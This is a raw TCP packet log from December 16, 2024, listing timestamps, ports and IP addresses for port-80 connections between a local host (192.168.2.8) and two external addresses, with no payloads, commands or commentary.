Dec 16, 2024 17:02:23.770160913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.770446062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.770500898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.770775080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.770823956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.770977974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.771003008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.771027088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.771055937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.771290064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.771342039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.771668911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.771718025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.771770000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.771785021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.771819115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.771831036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.772020102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.772069931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.772481918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.772527933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.772634029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.772648096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.772680044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.772711992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.772968054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.773025036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.773333073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.773384094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.773488998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.773505926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.773530006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.773544073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.773842096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.773890018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.774238110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.774281025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.774359941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.774462938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.774575949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.774597883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.774621964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.774657965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.775187969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.775242090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.775270939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.775288105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.775329113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.775365114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.775623083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.775680065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.776101112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.776160002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.776211023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.776227951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.776261091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.776273966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.776618004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.776676893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.776962042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777015924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.777065992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777081013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777116060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.777127981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.777453899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777506113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.777822018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777873039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.777930021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777946949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.777977943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.777990103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.778295994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.778346062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.778659105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.778698921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.778819084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.778835058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.778865099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.778887987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.779175997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.779249907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.779697895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.779752970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.779830933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.779846907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.779879093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.779892921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.780193090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.780246973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.780462027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.780509949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.780586958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.780602932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.780632973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.780644894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.780942917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.780996084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.781404972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.781456947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.781508923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.781523943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.781553030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.781578064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.781948090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.781964064 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.781991005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.782041073 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.782248974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.782290936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.782391071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.782406092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.782444000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.782457113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.782748938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.782788038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.783099890 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.783139944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.783179998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.783247948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.783262968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.783286095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.783301115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.783802032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.783849955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.903223038 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.903331995 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.903335094 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.903350115 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.903410912 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.903656006 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.903701067 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.903732061 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.903779030 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.904067993 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.904115915 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.904117107 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.904162884 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.904283047 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.904306889 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.904330969 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.904349089 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.904386044 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:23.904433966 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:23.953071117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.953085899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.953155041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.953205109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.953252077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.953389883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.953407049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.953437090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.953449965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.953993082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.954020023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.954041004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.954057932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.954068899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.954108000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.954246998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.954299927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.954442978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.954458952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.954489946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.954503059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.955054998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.955101967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.955229998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.955276012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.955368042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.955384016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.955415010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.955427885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.955732107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.955776930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.956007957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.956052065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.956151962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.956197023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.956641912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.956657887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.956688881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.956701994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.956892014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.956938028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.957030058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.957046986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.957075119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.957087040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.957530022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.957576036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.957815886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.957859993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.957984924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.958000898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.958029032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.958041906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.958506107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.958550930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.958803892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.958849907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.958899021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.958914042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.958942890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.958965063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.959383011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.959431887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.959613085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.959661007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.959784031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.959800005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.959829092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.959858894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.960257053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.960304022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.960496902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.960534096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.960700035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.960716009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.960746050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.960758924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.961143970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.961188078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.961380005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.961426973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.961529016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.961544991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.961569071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.961582899 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.961992979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.962040901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.962234020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.962280989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.962389946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.962405920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.962435961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.962447882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.962888956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.962937117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.963167906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.963210106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.963291883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.963326931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.963340998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.963371992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.963813066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.963864088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.964019060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.964065075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.964145899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.964160919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.964185953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.964209080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.964688063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.964732885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.964909077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.964952946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.965073109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.965089083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.965137005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.965621948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.965670109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.965815067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.965867996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.965960979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.965986013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.966006994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.966020107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.966811895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.966882944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.966932058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.966988087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.967072964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.967120886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.967147112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.967195034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.967447042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.967489004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.967860937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.967905998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.967969894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.967995882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.968010902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.968024969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.968648911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.968696117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.968785048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.968830109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.968936920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.968952894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.968981981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.968996048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.969326973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.969373941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.969553947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.969603062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.969717026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.969739914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.969762087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.969783068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.970166922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.970212936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.970242023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.970287085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.970376968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.970392942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.970423937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.970438957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.970741987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.970788002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.971146107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.971201897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.971278906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.971295118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.971327066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.971343040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.971640110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.971688032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.972011089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.972055912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.972199917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.972215891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.972254038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.972265959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.972506046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.972553015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.973017931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.973063946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.973275900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.973290920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.973324060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.973342896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.973450899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.973495007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.973807096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.973854065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.974117041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.974133968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.974163055 CET	49712	80	192.168.2.8	31.41.244.11
